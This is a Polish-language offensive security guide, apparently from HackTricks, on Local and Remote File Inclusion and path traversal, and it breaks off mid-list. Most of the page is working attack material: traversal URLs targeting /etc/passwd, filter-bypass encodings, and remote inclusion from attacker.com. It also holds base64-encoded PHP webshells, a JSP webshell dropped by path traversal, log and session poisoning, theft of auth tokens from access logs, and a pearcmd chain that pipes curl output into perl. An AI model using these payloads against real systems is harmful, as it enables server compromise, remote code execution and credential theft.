File Inclusion/Path traversal
Reading time: 28 minutes
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
File Inclusion
Remote File Inclusion (RFI): Plik jest ładowany z zdalnego serwera (najlepiej: możesz zapisać kod, a serwer go wykona). W php jest to wyłączone domyślnie (allow_url_include).
Local File Inclusion (LFI): Serwer ładuje lokalny plik.
Luka występuje, gdy użytkownik w pewien sposób może kontrolować plik, który zostanie załadowany przez serwer.
Podatne funkcje PHP: require, require_once, include, include_once
Ciekawe narzędzie do wykorzystania tej luki: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Łącząc kilka list *nix LFI i dodając więcej ścieżek, stworzyłem tę:
Spróbuj także zamienić / na \
Spróbuj także dodać ../../../../../
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here
Windows
Scalanie różnych wordlists:
Spróbuj także zamienić / na \
Spróbuj także usunąć C:/ i dodać ../../../../../
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here
OS X
Sprawdź listę LFI linux.
Podstawowe LFI and bypasses
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
sekwencje traversal usuwane nierekursywnie
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Omijanie dopisywania dodatkowych znaków na końcu podanego ciągu (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
To zostało naprawione w PHP 5.4
Kodowanie
Możesz użyć niestandardowych kodowań, takich jak double URL encode (i inne):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Z istniejącego katalogu
Być może back-end sprawdza ścieżkę katalogu:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Eksplorowanie katalogów systemu plików na serwerze
System plików serwera można przeszukiwać rekursywnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten obejmuje ustalenie głębokości katalogu i sprawdzanie istnienia konkretnych katalogów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć:
- Określ głębokość katalogu: Ustal głębokość bieżącego katalogu, pobierając pomyślnie plik
/etc/passwd(dotyczy serwerów Linux-based). Przykładowy URL może mieć następującą strukturę, wskazując głębokość równą trzy:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Sprawdź foldery: Dodaj nazwę podejrzanego folderu (np.
private) do URL, a następnie przejdź z powrotem do/etc/passwd. Dodatkowy poziom katalogu wymaga zwiększenia depth o jeden:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Zinterpretuj wyniki: Odpowiedź serwera wskazuje, czy folder istnieje:
- Błąd / Brak odpowiedzi: Folder
privateprawdopodobnie nie istnieje w określonej lokalizacji. - Zawartość
/etc/passwd: Obecność folderuprivatezostała potwierdzona.
- Rekurencyjne przeszukiwanie: Odkryte foldery można dalej sprawdzać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
Aby przeszukać katalogi w innych lokalizacjach systemu plików, odpowiednio dostosuj payload. Na przykład, aby sprawdzić, czy /var/www/ zawiera katalog private (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation to metoda stosowana do manipulacji ścieżkami plików w aplikacjach webowych. Często używana jest do uzyskania dostępu do plików objętych ograniczeniami przez obejście pewnych mechanizmów bezpieczeństwa, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która po modyfikacji przez mechanizm bezpieczeństwa nadal wskazuje na pożądany plik.
W PHP różne reprezentacje ścieżki pliku mogą być traktowane jako równoważne ze względu na sposób działania systemu plików. Na przykład:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/są traktowane jako ta sama ścieżka.- Jeśli ostatnie 6 znaków to
passwd, dopisanie/(tworzącpasswd/) nie zmienia wskazywanego pliku. - Podobnie, jeśli do ścieżki pliku dopisane jest
.php(np.shellcode.php), dodanie/.na końcu nie zmieni pliku, do którego następuje dostęp.
Poniższe przykłady pokazują, jak wykorzystać path truncation do dostępu do /etc/passwd, częstego celu ze względu na jego wrażliwą zawartość (informacje o kontach użytkowników):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
W tych scenariuszach liczba wymaganych traversals (../) może wynosić około 2027, ale ta wartość może się różnić w zależności od konfiguracji serwera.
- Użycie segmentów kropkowych i dodatkowych znaków: Sekwencje traversal (
../) w połączeniu z dodatkowymi segmentami kropkowymi i znakami mogą być użyte do nawigacji po systemie plików, skutecznie ignorując dołączone przez serwer ciągi. - Określanie wymaganej liczby traversals: Metodą prób i błędów można znaleźć dokładną liczbę sekwencji
../potrzebną do dotarcia do katalogu root, a następnie do/etc/passwd, upewniając się, że wszelkie dołączone ciągi (np..php) zostaną zneutralizowane, a żądana ścieżka (/etc/passwd) pozostanie nietknięta. - Rozpoczynanie od fałszywego katalogu: Powszechną praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (np.
a/). Technika ta służy jako środek ostrożności lub do spełnienia wymagań logiki parsowania ścieżek po stronie serwera.
Stosując techniki skracania ścieżek, kluczowe jest zrozumienie zachowania parsowania ścieżek przez serwer oraz struktury systemu plików. Każdy przypadek może wymagać innego podejścia, a testy są często niezbędne, by znaleźć najskuteczniejszą metodę.
Ta podatność została naprawiona w PHP 5.3.
Sztuczki omijania filtrów
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
W php domyślnie jest to wyłączone, ponieważ allow_url_include jest Off. Musi być On, żeby to działało, i w takim przypadku możesz załadować plik PHP z twojego serwera i uzyskać RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Jeśli z jakiegoś powodu allow_url_include jest On, ale PHP filtruje dostęp do zewnętrznych stron, zgodnie z tym postem, możesz na przykład użyć protokołu data z base64, aby zdekodować b64 kod PHP i uzyskać RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
W poprzednim kodzie ostatni +.txt został dodany, ponieważ attacker potrzebował ciągu kończącego się na .txt, więc ciąg kończy się na nim, a po b64 decode ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (i w konsekwencji wykonany).
Inny przykład nie używający protokołu php:// to:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python — element root
W pythonie, w kodzie takim jak poniższy:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Jeśli użytkownik poda absolute path do file_name, wcześniejsza ścieżka zostanie po prostu usunięta:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
To jest zamierzone zachowanie zgodnie z the docs:
Jeśli komponent jest ścieżką absolutną, wszystkie poprzednie komponenty są odrzucane, a łączenie kontynuuje się od komponentu ścieżki absolutnej.
Java - listowanie katalogów
Wygląda na to, że jeśli masz Path Traversal w Java i poprosisz o katalog zamiast o plik, zostanie zwrócone wylistowanie katalogu. To nie będzie miało miejsca w innych językach (o ile mi wiadomo).
Top 25 parametrów
Oto lista 25 parametrów, które mogą być podatne na local file inclusion (LFI) (źródło: link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI przy użyciu PHP wrappers i protokołów
php://filter
Filtry PHP pozwalają wykonać podstawowe operacje modyfikacji na danych zanim zostaną one odczytane lub zapisane. Istnieje 5 kategorii filtrów:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">" chars)- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>) . To get the list of all the encodings supported run in the console:iconv -l
warning
Nadużywając filtra konwersji convert.iconv.*, możesz wygenerować dowolny tekst, co może być przydatne do zapisania dowolnego tekstu lub sprawienia, że funkcja taka jak include przetworzy dowolny tekst. For more info check LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Compress the content (useful if exfiltrating a lot of info)zlib.inflate: Dekompresuje dane- Encryption Filters
mcrypt.*: Przestarzałemdecrypt.*: Przestarzałe- Other Filters
- Uruchamiając w php
var_dump(stream_get_filters());możesz znaleźć kilka nieoczekiwanych filtrów: consumeddechunk: odwraca kodowanie HTTP chunkedconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
Część "php://filter" nie rozróżnia wielkości liter
Użycie php filters jako oracle do odczytu dowolnych plików
In this post zaproponowano technikę odczytu pliku lokalnego bez zwracania jego zawartości przez serwer. Ta technika opiera się na boolean exfiltration pliku (znak po znaku) używając php filters jako oracle. Wynika to z faktu, że php filters mogą być użyte do powiększenia tekstu na tyle, by php wyrzucił wyjątek.
W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, poniżej szybkie podsumowanie:
- Użyj kodeka
UCS-4LEaby zostawić prowadzący znak tekstu na początku i spowodować wykładniczy wzrost rozmiaru stringu. - To będzie użyte do wygenerowania tekstu tak dużego gdy początkowa litera zostanie poprawnie odgadnięta, że php wyzwoli błąd
- Filtr dechunk usunie wszystko jeśli pierwszy znak nie jest szesnastkowy, więc możemy stwierdzić czy pierwszy znak jest hex.
- To, w połączeniu z poprzednim (i innymi filtrami zależnie od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu obserwując kiedy po wykonaniu wystarczającej liczby transformacji przestaje być ona znakiem szesnastkowym. Ponieważ jeśli jest hex, dechunk jej nie usunie i początkowa bomba spowoduje błąd php.
- Kodek convert.iconv.UNICODE.CP930 zamienia każdą literę na następną (więc po tym kodeku: a -> b). To pozwala nam odkryć czy pierwsza litera to np.
aponieważ jeśli zastosujemy 6 takich kodeków a->b->c->d->e->f->g litera nie będzie już znakiem szesnastkowym, wówczas dechunk jej nie usunie i błąd php zostanie wyzwolony z powodu pomnożenia przez początkową bombę. - Używając innych transformacji jak rot13 na początku możliwe jest wyciekanie innych znaków jak n, o, p, q, r (i inne kodeki mogą być użyte aby przesunąć inne litery do zakresu hex).
- Gdy początkowy znak jest cyfrą, trzeba go zakodować base64 i leak pierwsze 2 litery aby odsłonić cyfrę.
- Końcowy problem to jak leak więcej niż początkowa litera. Używając filtrów zmieniających kolejność bajtów jak convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE możliwe jest zmienić kolejność znaków i uzyskać na pierwszej pozycji inne litery z tekstu.
- A by móc uzyskać dalsze dane pomysł polega na wygenerowaniu 2 bajtów śmieci na początku za pomocą convert.iconv.UTF16.UTF16, zastosowaniu UCS-4LE aby je zamienić miejscami z następnymi 2 bajtami, i usunąć dane aż do śmieci (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuować to aż dojdziesz do pożądanego bitu do leak.
W poście opublikowano również narzędzie automatyzujące ten proces: php_filters_chain_oracle_exploit.
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Możesz również użyć php://stdin, php://stdout i php://stderr, aby uzyskać dostęp do deskryptorów plików 0, 1 i 2 odpowiednio (nie jestem pewien, jak mogłoby to być przydatne w ataku)
zip:// i rar://
Prześlij plik Zip lub Rar z PHPShell w środku i uzyskaj do niego dostęp.
Aby móc nadużyć protokołu rar, musi on zostać specjalnie aktywowany.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Zauważ, że ten protokół jest ograniczony przez konfiguracje php allow_url_open i allow_url_include
expect://
Expect musi być aktywowany. Możesz wykonać kod używając tego:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Określ swój payload w parametrach POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Plik .phar może być wykorzystany do uruchomienia kodu PHP, gdy aplikacja webowa korzysta z funkcji takich jak include do ładowania plików. Poniższy fragment kodu PHP demonstruje stworzenie pliku .phar:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Aby skompilować plik .phar, należy wykonać następujące polecenie:
php --define phar.readonly=0 create_path.php
Po wykonaniu zostanie utworzony plik o nazwie test.phar, który potencjalnie może zostać wykorzystany do eksploatacji podatności Local File Inclusion (LFI).
W przypadkach, gdy LFI jedynie odczytuje plik bez wykonywania zawartego w nim kodu PHP, przy użyciu funkcji takich jak file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), lub filesize(), można spróbować wykorzystania podatności deserializacji. Ta podatność jest związana z odczytem plików przy użyciu protokołu phar.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Było możliwe nadużycie any arbitrary file read from PHP that supports php filters w celu uzyskania RCE. Szczegółowy opis można found in this post.
Bardzo krótkie podsumowanie: 3 byte overflow w heapie PHP został wykorzystany do alter the chain of free chunks określonego rozmiaru, aby móc write anything in any address, więc dodano hook wywołujący system.
Było możliwe alokowanie chunków o określonych rozmiarach przez nadużycie dodatkowych php filters.
More protocols
Sprawdź więcej możliwych protocols to include here:
- php://memory and php://temp — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być przydatne w ataku typu file inclusion)
- file:// — Dostęp do lokalnego systemu plików
- http:// — Dostęp do URLi HTTP(s)
- ftp:// — Dostęp do FTP(s)
- zlib:// — Compression Streams
- glob:// — Find pathnames matching pattern (Nie zwraca nic czytelnego, więc niezbyt przydatne tutaj)
- ssh2:// — Secure Shell 2
- ogg:// — Audio streams (Nieprzydatne do czytania arbitrary files)
LFI via PHP's 'assert'
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod zawarty w łańcuchach znaków. Jest to szczególnie problematyczne, jeśli wejście zawierające znaki directory traversal takie jak ".." jest sprawdzane, ale nieprawidłowo oczyszczone.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Chociaż ma to na celu powstrzymanie traversal, mimowolnie tworzy wektor umożliwiający code injection. Aby wykorzystać to do odczytania zawartości plików, atakujący mógłby użyć:
' and die(highlight_file('/etc/passwd')) or '
Podobnie, do wykonywania dowolnych poleceń systemowych, można użyć:
' and die(system("id")) or '
It's important to URL-encode these payloads.
PHP Blind Path Traversal
warning
Ta technika jest istotna w przypadkach, gdy control the file path of a PHP function that will access a file but you won't see the content of the file (like a simple call to file()) but the content is not shown.
In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
Podsumowując, technika używa kodowania "UCS-4LE" encoding, aby zawartość pliku stała się tak big, że PHP function opening pliku wywoła error.
Następnie, aby leak the first char użyto filtra dechunk wraz z innymi, takimi jak base64 lub rot13, a na końcu zastosowano filtry convert.iconv.UCS-4.UCS-4LE oraz convert.iconv.UTF16.UTF-16BE, aby place other chars at the beggining and leak them.
Funkcje, które mogą być podatne: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple
File/Pathsconcatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Zabezpieczenia, które neutralizują tę klasę błędów:
- Rozwiązuj do ścieżki kanonicznej i wymuszaj, by była potomkiem katalogu bazowego z allow-listy.
- Odrzucaj ścieżki zawierające
.., ścieżki absolutne lub litery dysków; preferuj generowane nazwy plików. - Uruchamiaj proces zapisujący jako konto o niskich uprawnieniach i oddziel katalogi zapisu od katalogów serwowanych.
Remote File Inclusion
Wyjaśnione wcześniej, follow this link.
Via Apache/Nginx log file
If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file
warning
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.
Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won't have a second opportunity.
This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Inne możliwe ścieżki logów:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Odczyt logów dostępu, aby pozyskać GET-based auth tokens (token replay)
Wiele aplikacji błędnie akceptuje session/auth tokens przez GET (np. AuthenticationToken, token, sid). Jeśli masz path traversal/LFI umożliwiające dostęp do logów dostępu serwera WWW, możesz ukraść te tokens z logów dostępu i replayować je, aby całkowicie obejść uwierzytelnianie.
How-to:
- Użyj path traversal/LFI, aby odczytać logi dostępu serwera WWW. Typowe lokalizacje:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Niektóre endpointy zwracają zawartość plików zakodowaną w Base64. Jeśli tak, zdekoduj lokalnie i przejrzyj linie loga.
- Użyj grep, aby znaleźć GET requests zawierające parametr token i przechwycić jego wartość, następnie replayuj ją w punkcie wejścia aplikacji.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Zdekoduj body, jeśli jest w Base64, a następnie odtwórz przechwycony token:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Notatki:
- Tokens w URL-ach są domyślnie logowane; nigdy nie akceptuj bearer tokens przez GET w systemach produkcyjnych.
- Jeśli aplikacja obsługuje wiele token names, przeszukaj pod kątem popularnych kluczy takich jak AuthenticationToken, token, sid, access_token.
- Rotuj wszystkie tokens, które mogły zostać leaked do logów.
Przez e-mail
Wyślij mail na konto wewnętrzne (user@localhost) zawierający Twój PHP payload jak <?php echo system($_REQUEST["cmd"]); ?> i spróbuj dołączyć go do maila użytkownika za pomocą ścieżki takiej jak /var/mail/<USERNAME> lub /var/spool/mail/<USERNAME>
Przez /proc//fd/
- Wgraj dużo shells (na przykład: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, gdzie $PID = PID procesu (może być brute forced) a $FD to deskryptor pliku (może być brute forced również)
Przez /proc/self/environ
Podobnie jak w pliku logów, wyślij payload w polu User-Agent — zostanie on odzwierciedlony w pliku /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Przez upload
Jeśli możesz uploadować plik, po prostu wstrzykij w niego shell payload (np.: <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Aby zachować czytelność pliku, najlepiej wstrzyknąć do metadanych obrazów/dokumentów/pdf
Przez przesłanie pliku ZIP
Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj do niego dostęp:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Za pomocą PHP sessions
Sprawdź, czy strona używa PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
W PHP sesje te są przechowywane w /var/lib/php5/sess\[PHPSESSID]_ plikach
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Ustaw cookie na <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Użyj LFI, aby dołączyć plik sesji PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Przez ssh
Jeśli ssh jest aktywne, sprawdź, którego użytkownika użyto (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do <HOME>/.ssh/id_rsa
Przez vsftpd logi
Logi serwera FTP vsftpd znajdują się w /var/log/vsftpd.log. W scenariuszu, gdzie istnieje podatność Local File Inclusion (LFI) i dostęp do wystawionego serwera vsftpd jest możliwy, można rozważyć następujące kroki:
- Wstrzyknij PHP payload w pole username podczas procesu logowania.
- Po wstrzyknięciu użyj LFI, aby pobrać logi serwera z /var/log/vsftpd.log.
Przez php base64 filter (using base64)
Jak pokazano w this artykule, filtr PHP base64 po prostu ignoruje znaki niebędące base64. Możesz użyć tego, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", filtr zignoruje "." i dopisze "php" do base64. Oto przykładowy payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Przez php filters (plik nie jest potrzebny)
This writeup wyjaśnia, że możesz użyć php filters aby wygenerować dowolną zawartość jako output. Co w zasadzie oznacza, że możesz wygenerować dowolny php code dla include bez potrzeby zapisywania go do pliku.
Przez segmentation fault
Upload plik, który zostanie zapisany jako tymczasowy w /tmp, potem w tym samym żądaniu wywołaj segmentation fault, a wtedy plik tymczasowy nie zostanie usunięty i możesz go znaleźć.
LFI2RCE via Segmentation Fault
Przez Nginx temp file storage
Jeśli znalazłeś Local File Inclusion i Nginx działa przed PHP, możesz uzyskać RCE za pomocą następującej techniki:
Przez PHP_SESSION_UPLOAD_PROGRESS
Jeśli znalazłeś Local File Inclusion, nawet jeśli nie masz sesji i session.auto_start jest ustawione na Off. Jeśli dostarczysz PHP_SESSION_UPLOAD_PROGRESS w danych multipart POST, PHP automatycznie włączy sesję za Ciebie. Możesz to wykorzystać do uzyskania RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Przez temp file uploads in Windows
Jeśli znalazłeś Local File Inclusion i serwer działa na Windows, możesz uzyskać RCE:
Przez pearcmd.php + URL args
As explained in this post, skrypt /usr/local/lib/phppearcmd.php istnieje domyślnie w php docker images. Ponadto możliwe jest przekazywanie argumentów do skryptu przez URL, ponieważ wskazano, że jeśli parametr URL nie ma =, powinien być użyty jako argument. Zobacz także watchTowr’s write-up oraz Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Poniższe wykorzystuje CRLF vuln do uzyskania RCE (z here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Przez phpinfo() (file_uploads = on)
Jeśli znalazłeś Local File Inclusion i plik ujawniający phpinfo() z file_uploads = on, możesz uzyskać RCE:
Przez compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Jeśli znalazłeś Local File Inclusion i możesz exfiltrate the path pliku tymczasowego, ALE serwer sprawdza, czy plik do włączenia ma znaczniki PHP, możesz spróbować bypass that check za pomocą tej Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Przez eternal waiting + bruteforce
